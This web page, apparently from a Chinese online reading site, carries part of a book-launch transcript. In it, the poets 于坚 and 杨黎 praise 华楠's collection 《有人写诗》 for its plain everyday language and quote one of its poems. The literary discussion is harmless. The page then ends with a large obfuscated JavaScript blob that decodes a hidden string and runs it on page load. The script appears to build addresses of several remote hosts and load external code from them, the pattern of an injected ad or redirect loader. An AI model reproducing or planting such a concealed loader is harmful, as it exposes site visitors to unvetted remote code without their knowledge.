关灯
护眼
字体:

发布会(第2页)

章节目录保存书签

很美!也很勇敢!

它插在铁门上。

这就是我要说的。

林东林:感谢于老师。因为读了华楠《有人写诗》中的第一首诗,自己也写了一首给华楠的诗,并在里面提到了华楠。

我想很多人不一定明白一个问题:《有人写诗》这样一本诗集,这样一本作者不是作为一个诗人,也不是作为一个企业家,而是作为一个普通人所创作的诗集,其意义何在?在我看来至少有两种意义:一种是对当代诗人、诗歌写作者和诗坛的意义;另外一种是对普通大众的意义。我看了之后有着两方面的感觉:对诗人和诗坛来说,华楠的诗跟那些假大空的东西截然分明;对普通人来说,这可能会让他们觉得“这也是诗吗”,但他的诗同时也可以给普通人带来鲜明的诗歌教育,让他们觉得这也可以是诗,自己也可以写诗。两位老师怎样看待这本诗集对诗人、诗坛和普通读者的意义?

于坚:华楠这本诗集我觉得最重要的特质是:它会使你热爱生活。我说的这种生活,不是他们讲的有“诗和远方”意味的生活,而是每个普通的、正常的人,每天在过的那种生活:在电梯里、家里,一个偶然的傍晚。诗不是和人的生命、生活无关的一个东西,也不是什么理想主义、浪漫主义的,诗就是你生活的方式。而且更极端地讲,我认为诗就是生活。没有诗的生活,是不值得过的。这种生活并不是说,你要到什么远方,到面朝大海、春暖花开的地方,你才有诗。不是的。华楠的诗就是每个人每天要过的、平凡的日常生活。在这种生活里面,他通过正常的语言,把这种生活呈现出来。那么为什么会有很多人看不懂?因为他们所受的诗歌教育让他们认为,诗就是某种和生活无关的东西,是某种做作的东西。所以当忽然发现一个人的诗写的就是你自己,写的就是你走进电梯里的那种感觉的时候,大家心里就会咯噔一下——这也是诗吗?因为在今天,一般的诗歌教育已经把诗变成了一种必须要有某种正确的、高尚的意义的东西。那样的诗会使读者认为,你的日常生活,你置身其中的世界,是一个不值得存在的世界。美好的生活是在远方,是在彼岸。但是我觉得华楠这样的诗,是存在主义的诗,他写的是生活在他自己生命中的样子。他用的是他自己每天说的那种语言。这一点可以追溯到中国当代诗歌的历史。刚才杨黎也讲了,华楠作为一个诗人,他很诚实,他承认诗歌是有时间性的,是有传统的,他的诗并不是凭空而起的东西。他说他喜欢我的诗歌,喜欢杨黎、韩东的诗,我认为他走的诗歌之路是对的。第三代诗歌于八十年代在中国崛起,我觉得这是现代文明重要的历史事件。因为在第三代诗歌以前,中国的文学,包括诗歌,都以表达某种有意义的东西为主旨。但是到了第三代诗歌,这些诗人扭转了这一方向,也就是韩东讲的“诗到语言为止”。那么实际上,写诗,它不是写意义,它是写语言。你存在于什么样的语言中,你就写什么样的语言。我觉得在这一点上,华楠是一个诚实的诗人。他忠实于他自己的语言世界。他从来不认为他自己的语言世界是一个低于诗歌的东西,他自己的语言就是诗。在这种诗里,我看到的是一种对生活的热爱、赞美和自信,而不是对生活的判断。至于华楠这个诗人,他写的这本诗集里面所呈现的生活、世界,是你喜欢的,还是不喜欢的,或者是好的,还是不好的,那是读者的事,不是华楠的事。我觉得诗人只对语言负责,不对意义负责。我先讲这些。

杨黎:于老师讲得挺好的,讲到了一种传承。我记得东林刚才问到了这些问题,就是说我们和华楠之间,以及我们和现代诗歌之间,第三代人的诗歌主体上是有一种这样的贡献。什么贡献呢?我一直认为,在第三代人之前,中国现代汉语是不成熟的。中国的现代汉语就像我们以前看见的诗歌一样扭扭捏捏的,因为它毕竟是从文言中脱胎而出的。到了第三代人以后,像于大师、韩大师等,包括莽汉主义诗人和丁当他们,也包括我,为中国现代汉语的成熟,是做了绝对贡献的。因为到了后面才有了所谓的“后口语”,“后口语”是成熟的现代汉语里面的文学流派,它还不关乎语言本身。

那么在这种成熟的现代汉语里面,就诞生了新的年轻人的写作。这种写作很多,于老师说他基本上不看,我倒是看了很多。有的人写得几乎都挺好,有的人也写得很不错。这些人分成几种,现在我不一一说出来了,他们都是今天的中国诗歌界最活跃的年轻人,包括新诗典,包括浩波,甚至伊沙在内。整体上,诗歌形成了一种风气。在这种风气里面,我们不说优劣,我只谈个人感受。我推崇华楠,认为华楠更优秀的原因就在于,这种诗歌的写作,不管是什么样的写作,口语的嘛,都流于一个最大的特点,就是诗歌是到什么为止的。他们已经不是到语言为止了,他们有表达,有很强烈的表达,也有批判性。新诗典就是很典型的有批判性的。

还有一种就是没有批判性的,比如说近似于橡皮文学网的写作,玩技巧的。但是它们总体上都有一种东西,就是有一个表达。而它们的表达(我不是说不该表达)在本体上,我个人是不太喜爱的。为什么呢?这就说到了华楠。我在刚开始的时候说了,华楠是富有哲学思考的人,他的哲学思考很深,在诗歌里面他却并没有表现出来。华楠在《有人写诗》这本诗集里面,无处不呈现出他有一种超越我们现代年轻人的感受,那叫形而上,这和我们第三代人的核心诗人是接上的。我们认为这个东西,如果放弃的话,诗歌就真的流于表面主义了。我不管今天说的这个话,得罪了多少年轻人,我都希望他们能够多一点这样的思考,否则写作就变得有点肤浅了。我随便翻一首华楠的诗,让你们感受一下他在平淡中所呈现的形而上的意味。

这个是我随便翻到的。这首诗的名字叫《临时决定》:

临时决定

我搭最近一班飞机从上海到昆明

下了飞机

我按短信的地址打车去见人

车开了一段时间

司机突然骂了一句“你这个狗日的”

我问他说什么

他说那个骑单车的

这时我看到一个系着红领巾的小女孩在人群中站着

她在等红灯

同时伸出舌头舔手上的冰棍

它里面如果不蕴含着形而上的意味的话,它就会成为一首没有意义、没有价值的诗。它有了形而上的意味以后,就变得高级、专业和有深度。而且我就喜欢这首诗,大家可以批评我。

于坚:我补充一下杨黎讲的。刚才杨黎念的诗是非常好的诗,这首诗我听出一种悲悯,但是这个悲悯并不是事先的观念和意义。华楠要把这个悲悯表现出来,而这种悲悯是他的语言自身呈现的结果。像刚才杨黎讲的,这首诗是白话,但是很多诗人,我认为他们是在写寓意。白话是一个工具。通过白话来表达一种意义,和语言就是存在本身,这是完全不同的两种概念。我为什么认为华楠的诗好?因为他写的是他自己的语言。你写语言就是在写自己的身体、生命,因为这种语言是独一无二的。一个诗人和另外一个诗人之所以有区别,就是因为他们的语言不一样。这个和书法是相似的,虽然书法的笔墨,大家都是一样的,汉字的笔画横竖撇捺,大家也是一样的,但是这支笔放在每个人的身体里面,写出来的字是不一样的。那么你这个字写得好,还是写得坏,是不是写得有悲悯之心,我觉得和这个写书法的人的生命有关。我看华楠的诗,刚才杨黎讲他不肤浅,不肤浅是因为,你会发现这是一个有厚度的生命。有厚度的生命不随便对人生发表一些看法。很多白话诗,我觉得它只是一种批判,是在阐释对生活的看法。华楠忠实于自己的语言,而这种语言在他的生命中,他就具有厚度、深度,那么他自然会在诗中呈现出来。他的语言里面本身就没有悲悯,譬如那个司机骂了一声“狗日的”,一个系红领巾的小女孩在吃冰棍,他的悲悯感仅仅是语言所造成的结果,并不是他故意要写的。我觉得这是华楠的诗能够打动人的地方。

其实这种东西说到底,它是一种古老的写作。中国的文明就是起源于诗的,《易传》上面就说,“修辞立其诚,所以居业也”。写作是诚实的,诚实是什么?表里如一。只有诚实,所以居业也。为什么华楠能够写诗,同时他又是一个成功的商人、企业家?就是因为“修辞立其诚,所以居业也”。不要说诗是风花雪月的、远方的,那只是对修辞的玩弄。中国自古以来的诗,如果作者都能做到“修辞立其诚”,那么必然会得到像华楠这样的结果。

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();